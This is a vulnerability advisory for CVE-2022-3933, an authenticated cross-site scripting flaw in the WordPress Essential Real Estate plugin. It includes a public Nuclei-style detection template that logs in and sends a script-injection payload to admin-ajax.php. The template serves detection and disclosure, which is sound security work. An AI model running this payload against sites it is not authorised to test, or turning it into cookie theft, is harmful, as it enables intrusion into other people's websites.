CVE-2022-3933: WordPress Essential Real Estate <3.9.6 - Authenticated Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Essential Real Estate | POC: 已公开

漏洞描述

WordPress Essential Real Estate plugin before 3.9.6 contains an authenticated cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters, which can allow someone with a role as low as admin to inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow theft of cookie-based authentication credentials and launch of other attacks.

PoC代码[已公开]

id: CVE-2022-3933

info:
  name: WordPress Essential Real Estate <3.9.6 - Authenticated Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Essential Real Estate plugin before 3.9.6 contains an authenticated cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters, which can allow someone with a role as low as admin to inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow theft of cookie-based authentication credentials and launch of other attacks.
  impact: |
    An authenticated attacker can inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or further attacks.
  remediation: Fixed in version 3.9.6.
  reference:
    - https://wpscan.com/vulnerability/6395f3f1-5cdf-4c55-920c-accc0201baf4
    - https://wordpress.org/plugins/essential-real-estate/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3933
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-3933
    cwe-id: CWE-79
    epss-score: 0.30139
    epss-percentile: 0.9653
    cpe: cpe:2.3:a:g5theme:essential_real_estate:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: g5theme
    product: essential_real_estate
    framework: wordpress
  tags: cve,cve2022,wpscan,authenticated,wordpress,wp-plugin,wp,essential-real-estate,xss,g5theme

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin-ajax.php?action=ere_property_gallery_fillter_ajax&columns_gap=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C!-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "><script>alert(document.domain)</script>")'
          - 'contains(body_2, "ere_property_gallery")'
        condition: and
# digest: 4a0a00473045022100fd71cd2364e9d5a3df1542f5c57fa646f9fe049d0eb3b10865462459627f51930220082e273bb607a619d9c45c6777f39d941cbd10c3524d4fc1c1effaf95f573437:922c64590222798bb761d5b6d8e72950